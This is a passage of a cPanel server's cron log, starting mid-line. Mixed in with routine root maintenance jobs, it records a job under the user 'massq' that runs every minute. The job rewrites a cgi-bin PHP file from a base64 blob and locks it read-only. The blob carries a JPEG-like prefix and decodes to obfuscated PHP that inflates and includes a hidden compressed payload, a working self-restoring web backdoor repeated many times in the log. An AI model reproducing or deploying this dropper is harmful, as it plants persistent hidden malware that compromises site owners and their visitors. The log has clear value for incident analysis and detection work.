ZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:23:01 server CROND[7796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:23:01 server CROND[7797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:23:01 server CROND[7798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:24:01 server CROND[8176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:24:01 server CROND[8177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:24:01 server CROND[8184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:25:01 server CROND[8566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:25:01 server CROND[8567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:25:01 server CROND[8571]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:25:01 server CROND[8574]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:25:01 server CROND[8572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:25:01 server CROND[8573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:25:01 server CROND[8570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:25:01 server CROND[8569]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 16:26:01 server CROND[9511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:26:01 server CROND[9510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:26:01 server CROND[9512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:27:01 server CROND[9888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:27:01 server CROND[9890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:27:01 server CROND[9889]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:27:01 server CROND[9891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:28:01 server CROND[10276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:28:01 server CROND[10278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:28:01 server CROND[10277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:29:01 server CROND[10659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:29:01 server CROND[10660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:29:01 server CROND[10661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:30:01 server CROND[11074]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:30:01 server CROND[11076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:30:01 server CROND[11080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:30:01 server CROND[11081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:30:01 server CROND[11082]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:30:01 server CROND[11078]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 16:30:01 server CROND[11077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:30:01 server CROND[11079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:30:01 server CROND[11085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:31:01 server CROND[12039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:31:01 server CROND[12040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:31:01 server CROND[12041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:32:01 server CROND[12448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:32:01 server CROND[12449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:32:01 server CROND[12450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:33:01 server CROND[12897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:33:01 server CROND[12898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:33:01 server CROND[12899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:34:01 server CROND[13385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:34:01 server CROND[13386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:34:01 server CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
